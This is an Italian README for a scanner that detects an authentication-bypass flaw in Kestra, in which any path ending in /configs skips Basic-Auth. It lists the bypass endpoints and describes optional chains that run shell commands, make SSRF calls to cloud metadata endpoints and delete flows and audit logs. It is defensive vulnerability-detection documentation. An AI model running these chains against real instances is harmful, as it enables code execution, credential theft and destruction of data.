Kestra CVE-2026-49869 / CVE-2026-53576 Scanner

Esegue la scansione delle istanze Kestra per il bypass del filtro di autenticazione endsWith("/configs"). Il file AuthenticationFilter.java di Kestra controlla request.getPath().endsWith("/configs") invece di confrontare il percorso esatto /api/v1/configs. Poiché Kestra indirizza le risorse tramite segmenti di percorso scelti dal chiamante (namespace, flow ID), qualsiasi percorso che termina con /configs bypassa l'autenticazione Basic-Auth, consentendo la creazione non autenticata di flow e RCE. (CVSS 10.0)

Riferimenti:

• GHSA-5vc5-wxxq-3fjx
• TP-2026-009
• CVE-2026-49869 Autenticazione Impropria / OS Command Injection / Lista Incompleta di Input Non Consentiti
• CVE-2026-53576

Logica di Rilevamento

1. Verifica di attività + versione GET /api/v1/configs (deve restituire 200; il corpo della risposta viene analizzato per ottenere la versione di Kestra)
2. Controllo autenticazione GET /api/v1/{tenant}/flows (dovrebbe restituire 401/403 se l'autenticazione è applicata)
3. Sondaggi di bypass 6 richieste GET a percorsi che terminano con /configs; se qualcuno restituisce un codice diverso da 401/403 mentre il controllo di autenticazione è applicato, l'istanza è vulnerabile
4. Modalità aggressiva (--aggressive) invia anche richieste PUT per confermare la capacità di bypass in scrittura
5. Verifica RCE (--rce) catena completa: crea flow shell/python → attiva esecuzione → recupera log → conferma esecuzione codice → pulizia
6. Rilevamento SSRF (--ssrf) crea un flow con http() di Pebble che ha come target i metadata cloud AWS/GCP/Azure e gli endpoint interni, quindi controlla i log per evidenze
7. Sondaggi DELETE (--destructive) invia DELETE a percorsi di bypass di flow, dashboard e log per confermare il bypass di operazioni distruttive

Endpoint dei Sondaggi

Sondaggi Sicuri (predefiniti)

Probe	Method	Path	Descrizione
Public Configs	GET	/api/v1/configs	Verifica di attività + estrazione versione
Protected Normal	GET	/api/v1/{tenant}/flows	Baseline di applicazione autenticazione
Flows Bypass	GET	/api/v1/{tenant}/flows/{namespace}/configs	Bypass elenco flow
Executions Bypass	GET	/api/v1/{tenant}/executions/{namespace}/configs	Bypass esecuzioni
KV Store Bypass	GET	/api/v1/{tenant}/namespaces/{namespace}/kv/configs	Bypass lettura KV
Dashboards Bypass	GET	/api/v1/{tenant}/dashboards/configs	Bypass dashboard
Logs Bypass	GET	/api/v1/{tenant}/logs/{namespace}/configs	Bypass accesso log
Templates Bypass	GET	/api/v1/{tenant}/templates/{namespace}/configs	Bypass lettura template

Sondaggi Aggressivi (--aggressive)

Probe	Method	Path	Descrizione
Flows PUT Bypass	PUT	stesso di Flows Bypass	Crea un flow debug.Return minimale
KV PUT Bypass	PUT	stesso di KV Bypass	Crea una voce KV {"scanned": true}

Sondaggi Distruttivi (--destructive)

Probe	Method	Path	Descrizione
Flows DELETE Bypass	DELETE	stesso di Flows Bypass	Elimina una risorsa denominata "configs"
Dashboards DELETE Bypass	DELETE	stesso di Dashboards Bypass	Elimina una dashboard denominata "configs"
Logs DELETE Bypass	DELETE	stesso di Logs Bypass	Distrugge i log di audit

Catena di Verifica RCE (--rce)

Viene eseguita solo quando il bypass di autenticazione è confermato. La catena completa dall'avviso:

Step	Method	Path	Descrizione
1. Crea flow RCE	PUT	/api/v1/{tenant}/flows/{namespace}/configs	Distribuisce flow con io.kestra.plugin.scripts.shell.Commands (echo <marker>, id, hostname). Ripiega su io.kestra.plugin.scripts.python.Script in caso di fallimento.
2. Attiva esecuzione	POST	/api/v1/{tenant}/executions/{namespace}/configs	Avvia il flow tramite il percorso di bypass
3. Recupera log	GET	/api/v1/{tenant}/logs/search?executionId=<id>	Esegue polling fino a --poll-retries volte (default 10) ogni --poll-interval secondi (default 3) cercando il marker RCE univoco
4. Pulizia	DELETE	stesso dello step 1	Rimuove il flow distribuito

Catena di Rilevamento SSRF (--ssrf)

Viene eseguita solo quando il bypass di autenticazione è confermato:

Step	Method	Path	Descrizione
1. Crea flow SSRF	PUT	/api/v1/{tenant}/flows/{namespace}/configs	Distribuisce un task debug.Return con chiamate Pebble http() verso AWS (169.254.169.254/latest/meta-data/ami-id), GCP (metadata.google.internal), Azure (169.254.169.254/metadata/instance) e interno (127.0.0.1:8080/api/v1/configs)
2. Attiva esecuzione	POST	stesso dello step 2 RCE	Attiva il flow
3. Recupera log	GET	/api/v1/{tenant}/logs/search?executionId=<id>	Controlla la presenza di indicatori di metadata cloud (ami-, i-, 169.254.169.254, metadata.google.internal, ecc.)
4. Pulizia	DELETE	stesso dello step 1	Rimuove il flow distribuito

Riferimento CLI

positional:
  target                          URL target singolo (es. http://localhost:8080)

options:
  -f, --file                      File con target (uno per riga)
  -t, --timeout                   Timeout richiesta in secondi (default: 10)
  --verify-ssl                    Verifica certificati TLS
  -j, --json                      Output JSON su stdout
  -o, --output                    Scrivi report JSON su file
  --tenant                        Nome tenant (default: "main")
  --namespace                     Namespace per percorsi di bypass (default: "tutorial")
  -w, --workers                   Numero di thread per scansioni bulk (default: 10)
  -a, --aggressive                Invia richieste PUT per confermare bypass scrittura
  -P, --auto-ports                Porte per auto-espansione (default: 8080 8081 8088 8091 80 443)

advanced probes:
  -r, --rce                       Abilita catena di verifica RCE (flow shell + python,
                                   attivazione esecuzione, recupero log, pulizia automatica)
  -s, --ssrf                      Abilita rilevamento SSRF (Pebble http() verso endpoint
                                   metadata cloud, raccolta evidenze basate su log)
  -d, --destructive               Abilita sondaggi DELETE su flow, dashboard e log
                                   (ELIMINERÀ risorse su istanze vulnerabili)
  --poll-interval                 Secondi tra i polling dei log per catene RCE/SSRF (default: 3)
  --poll-retries                  Numero massimo di tentativi di polling log per catene RCE/SSRF (default: 10)

Output

Target Singolo

Ripartizione completa per singolo sondaggio con arricchimento (versione, stato RCE, SSRF, DELETE) e verdetto:

====================================================================
  Target:    http://10.0.0.1:8080
  Timestamp: 2026-06-30T12:00:00+00:00
====================================================================

  Versione:      1.3.20 (AFFETTA)
  RCE:          CONFERMATO tramite shell
    | SCAN_RCE_a1b2c3d4e5f6
    | uid=0(root) gid=0(root) groups=0(root)
  SSRF:         RILEVATO
    | Indicatori trovati: ami-, 169.254.169.254, 127.0.0.1:8080
  DELETE BYPASS: CONFERMATO ops distruttive bypassano autenticazione

  [Flows Bypass]
    URL:         http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
    Stato:       200
    Bypass:      SÌ

  [Exec Bypass]
    URL:         http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
    Stato:       404
    Bypass:      No

  ...